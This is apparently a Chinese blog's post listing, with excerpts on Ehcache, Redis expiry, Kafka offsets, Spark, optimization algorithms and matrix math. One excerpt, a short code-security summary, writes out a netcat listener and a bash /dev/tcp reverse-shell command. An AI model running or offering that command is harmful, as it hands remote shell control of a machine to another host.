- 博客(49)
- 收藏
- 关注
RSS订阅转载 Ehcache详细解读
转载自：http://raychase.iteye.com/blog/1545906Ehcache是现在最流行的纯Java开源缓存框架，配置简单、结构清晰、功能强大，最初知道它，是从Hibernate的缓存开始的。网上中文的EhCache材料以简单介绍和配置方法居多，如果你有这方面的问题，请自行google；对于API，官网上介绍已经非常清楚，请参见官网；但是很少见到特性说明和对实
2017-12-19 11:46:09
244
原创 谈谈shuffle流程 细节就不说了
本文抛开 hadoop shuffle 原理 与 spark shuffle 单纯从逻辑思考。便于对hadoop shuffle 以及 spark shuffle的原理理解。数据：100亿数据存在1000台分布式系统中，每个机器存储1千万数据，这1千万数据存放在1000个block中，每个block存1万数据想象一下目标：100亿数据，得到每个关键词的词频如果是你，你的处理流程
2017-12-08 12:39:59
392
原创 瞬间高并发的处理方案
设置二级缓存：elasticsearch作为二级缓存，每次请求就更新es计数在redis没有的时候，对redis加锁，然后去es里读计数比较多的数据，更新缓存之后解锁
2017-12-07 19:11:33
960
转载 Redis中删除过期Key的三种策略
转载自：http://blog.csdn.net/a_bang/article/details/52986935?locationNum=9&fps=1项目中有个接口要频繁调用查询数据库中的数据，为了降低数据库的压力，所以把一部分记录先缓存在redis中，对redis中的数据设置了期限。今天无意间发现一个问题，使用dbsize查询出来的数量，比实际缓存量要高一部分。用red
2017-12-07 19:09:23
22562
转载 缓存失效策略（FIFO 、LRU、LFU三种算法的区别）
当缓存需要被清理时（比如空间占用已经接近临界值了），需要使用某种淘汰算法来决定清理掉哪些数据。常用的淘汰算法有下面几种：FIFO：First In First Out，先进先出。判断被存储的时间，离目前最远的数据优先被淘汰。LRU：Least Recently Used，最近最少使用。判断最近被使用的时间，目前最远的数据优先被淘汰。LFU：Least Frequently Used，最
2017-12-07 18:56:14
521
转载 最小二乘法 与 均方误差的区别 哈哈哈 相信很多人都没注意到
最小均方误差和最小二乘有什么区别？https://www.zhihu.com/question/27200164/answer/62411596
2017-12-05 11:33:38
15126
2
转载 kafka 的offset的重置
转载自：https://www.cnblogs.com/hd-zg/p/5831219.html最近在spark读取kafka消息时，每次读取都会从kafka最新的offset读取。但是如果数据丢失，如果在使用Kafka来分发消息，在数据处理的过程中可能会出现处理程序出异常或者是其它的错误，会造成数据丢失或不一致。这个时候你也许会想要通过kafka把数据从新处理一遍，或者指定kafka
2017-11-29 11:12:09
2175
转载 Spark踩坑记——Spark Streaming+Kafka
转载自：https://www.cnblogs.com/xlturing/p/6246538.html前言在WeTest舆情项目中，需要对每天千万级的游戏评论信息进行词频统计，在生产者一端，我们将数据按照每天的拉取时间存入了Kafka当中，而在消费者一端，我们利用了spark streaming从kafka中不断拉取数据进行词频统计。本文首先对spark streaming
2017-11-29 11:10:16
300
转载 最优化问题综述
转载：http://blog.csdn.net/acelit/article/details/636858781 优化问题分类优化问题一般可分为两大类：无约束优化问题和约束优化问题，约束优化问题又可分为含等式约束优化问题和含不等式约束优化问题。无约束优化问题 含等式约束的优化问题 含不等式约束的优化问题2 求解策略针对以上三种情形，各有不同的处理
2017-11-27 20:03:59
1500
转载 自话粒子群算法（超简单实例）
转载自：http://breezedust.com/2013/10/06/zi-hua-li-zi-qun-suan-fa-chao-jian-dan-shi-li/简介上次在自话遗传算法中提到后期会写两篇关于粒子群算法和蚁群算法的博文，所以这次给大家带来的是我对粒子群的一些理解，并附带一个相当简单的实例去描述这个算法，我会尽力通俗易懂的把整个算法描述一遍，其实粒子群算法的
2017-11-27 19:51:15
2777
转载 自话遗传算法（带实例）
转载自：http://breezedust.com/2013/10/05/zi-hua-yi-chuan-suan-fa-dai-shi-li/简介好像有那么点空闲时间，那就写点东西吧，由于近期一个项目用到了遗传算法，粒子群算法，蚁群算法等启发式智能搜索算法，今天先以本人的观点去阐述遗传算法，仅作自己对知识点的回顾，和给大家一点参考的意见，其他算法以后有时间再作描述。遗
2017-11-27 19:45:32
292
转载 蚁群算法
https://www.cnblogs.com/Leo_wl/p/5665715.html蚁群算法自话蚁群算法这算是填3年前的一个坑吧，已经懒癌晚期了，想必也还是要挣扎下，那今天先从蚁群算法这个坑说起，如果你是要寻找怎么优化蚁群算法，可以直接跳过本文，如果你还不了解什么是蚁群算法，或许本文能够提起你的兴趣。如果你同样对遗传算法和粒子群算法感兴趣，请查
2017-11-27 19:36:25
594
转载 拉格朗日乘子法和KKT条件
转载自：http://www.cnblogs.com/zhangchaoyang/articles/2726873.html#3592012拉格朗日乘子法(Lagrange Multiplier)和KKT(Karush-Kuhn-Tucker)条件是求解约束优化问题的重要方法，在有等式约束时使用拉格朗日乘子法，在有不等约束时使用KKT条件。前提是：只有当目标函数为凸函数时，使用这两
2017-11-27 18:55:00
329
转载 方向导数、梯度、等高线、数量场与向量场
转载自：http://blog.csdn.net/lijil168/article/details/69367531之前用过几次梯度下降算法来求解一些优化问题，但对梯度的具体意义并不是很理解。前一段时间翻了一遍高教的《简明微积分》，对梯度概念总算有了些理解，在这记录一下。推荐下《简明微积分》这本书，我向来对带有“简明”二字的书抱有极大的好感。偶然的机会在豆瓣上看到有人推
2017-11-27 18:18:44
2029
转载 用等高线图（Contour maps）可视化多变量函数
转载自：http://blog.csdn.net/xlinsist/article/details/50920479Overview由于我们用手来画三维图像很困难，我们可以用等高线图来描述图像会更加简单。等高线图用于描述两维输入和一维输出的函数，例如：f(x,y)=x5−x3+y3如何画等高线图选择一系列等间隔的输出值，例如：{0.7, 0.4, 0.1, -0
2017-11-27 18:17:15
1025
转载 最优化问题综述
转载自：http://blog.csdn.net/acelit/article/details/636858781 优化问题分类优化问题一般可分为两大类：无约束优化问题和约束优化问题，约束优化问题又可分为含等式约束优化问题和含不等式约束优化问题。无约束优化问题 含等式约束的优化问题 含不等式约束的优化问题2 求解策略针对以上三种情形，各有不同的处
2017-11-23 16:56:24
1374
转载 有监督 与 无监督的区别 何时采用 有监督 or 无监督
如果我们在分类的过程中有训练样本(training data)，则可以考虑用监督学习的方法；如果没有训练样本，则不可能用监督学习的方法。无监督和有监督的理解方法有很多，主要可以从以下几方面来理解：1、无监督与监督学习的区别在于一个无label，一个有label。但是，个人认为他们的区别在于无监督学习一般是采用聚簇等算法来分类不同样本。而监督学习一般是利用教学值与实际
2017-11-20 21:34:53
9752
转载 为什么spark中只有ALS
转载自：http://www.cnblogs.com/mooba/p/6539142.htmlWRMF is like the classic rock of implicit matrix factorization. It may not be the trendiest, but it will never go out of style
2017-11-20 19:36:20
313
转载 高效的多维空间点索引算法 — Geohash 和 Google S2—绝对好文
引子每天我们晚上加班回家，可能都会用到滴滴或者共享单车。打开 app 会看到如下的界面：app 界面上会显示出自己附近一个范围内可用的出租车或者共享单车。假设地图上会显示以自己为圆心，5公里为半径，这个范围内的车。如何实现呢？最直观的想法就是去数据库里面查表，计算并查询车距离用户小于等于5公里的，筛选出来，把数据返回给客户端。这种做法比较笨，一般也不会这么做。为什么呢？因为这种做法
2017-11-20 17:05:19
5831
1
转载 残差residual VS 误差 error
转载自：http://blog.csdn.net/jmydream/article/details/8764869In statistics and optimization, statistical errors and residuals are two closely related and easily confused measures of "deviation of
2017-11-20 17:03:10
891
转载 矩阵中 为什么矩阵的迹就是特征值的和 为什么等于第二项系数？要具体证明
矩阵迹的定义是主对角线是元素的和，线性代数中有定理：相似矩阵迹相等。而矩阵相似于它的Jordan标准型之后，迹就成为特征值的和，而从维达定理，一个方程根的和就是它的第二项系数的反号。﹙的反号 你打漏！﹚用于特征多项式，就是你需要的结果。
2017-11-17 21:55:42
10705
转载 通过导数求极值为什么还需要梯度下降
一直疑惑一个问题：对于最小二乘法，为什么不直接求导让导数为“0”，直接求极值呢？因为实际情况有些是不可行的，比如有时候求解这样的方程非常复杂。。所以有了梯度下降：详细请查看：http://blog.csdn.net/zengdong_1991/article/details/45563107
2017-11-17 21:12:05
2975
原创 欧式距离 与 内积 与 范数
a和b的点积（内积）公式为：几何意义为：余弦距离可以根据点积获得：欧式距离：描述n维空间内的，点a到点b的实际距离。不要与方差混淆哦，方差是减均值，而欧式是a1-b1
2017-11-17 15:08:33
8183
原创 代码安全部分总结
1，redis服务要设密码选项requirepass，还有bind2，a机器：nc -l4 8011在b机器 执行bash -i >& /dev/tcp/A机器ip/8011 0>&1
2017-11-16 20:20:30
270
转载 转载 向量点乘（内积）和叉乘（外积、向量积）概念及几何意义解读
转载自：http://blog.csdn.net/dcrmg/article/details/52416832向量是由n个实数组成的一个n行1列（n*1）或一个1行n列（1*n）的有序数组；向量的点乘,也叫向量的内积、数量积，对两个向量执行点乘运算，就是对这两个向量对应位一一相乘之后求和的操作，点乘的结果是一个标量。点乘公式对于向量a和向量b
2017-11-14 16:25:37
1066
原创 矩阵复习
1，转置矩阵2，线性空间3，矩阵的秩：代表矩阵变换后的维度，请查看https://www.zhihu.com/question/21605094如何求矩阵的秩：按照初等行变换原则把原来的矩阵变换为阶梯型矩阵，总行数减去全部为零的行数即非零的行数就是矩阵的秩了！！4，满秩矩阵：n维5,，逆矩阵：一个n阶方阵A称为可逆的，或非奇异的，如果存在一个n阶方阵B，
2017-11-06 17:10:23
1545
原创 关于 矩阵 矩阵乘法 行列式的一点思考
引用大牛的博客：理解矩阵（一），（二），（三）http://blog.csdn.net/myan/article/details/647511 http://blog.csdn.net/myan/archive/2006/04/03/649018.aspxhttp://blog.csdn.net/myan/article/details/1865397自己又做了一些
2017-11-03 16:41:26
3156
原创 关于矩阵分解：特征值分解 svd分解 mf分解 lmf分解 pca 以及个性化推荐 fm ffm als
矩阵分解作用很多：矩阵填充（通过矩阵分解来填充原有矩阵，如als 就是填充原有矩阵），清理异常值与离群点，降维，压缩，个性化推荐，间接的特征组合（计算特征件相似度）——————————————————————————————————————————矩阵分解方法：特征值分解：分解为一个特征向量矩阵 与 特征值（对角矩阵） ————————————svd分
2017-11-02 12:02:56
7296
2
转载 最小二乘法 解释很到位的一篇文章
转载自：http://sbp810050504.blog.51cto.com/2799422/1269572一、引言这段时间学习《机器学习》，学到第5章的“Logistic回归”，感觉相当吃力。追本溯源，从“Logistic回归”到“线性回归”，再到“最小二乘法”。最终定格到了《高等数学》（第六版·下册）第九章第10节“最小二乘法”，这才了解到最小二乘法背后的数学原理出自哪
2017-11-02 11:17:28
725
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人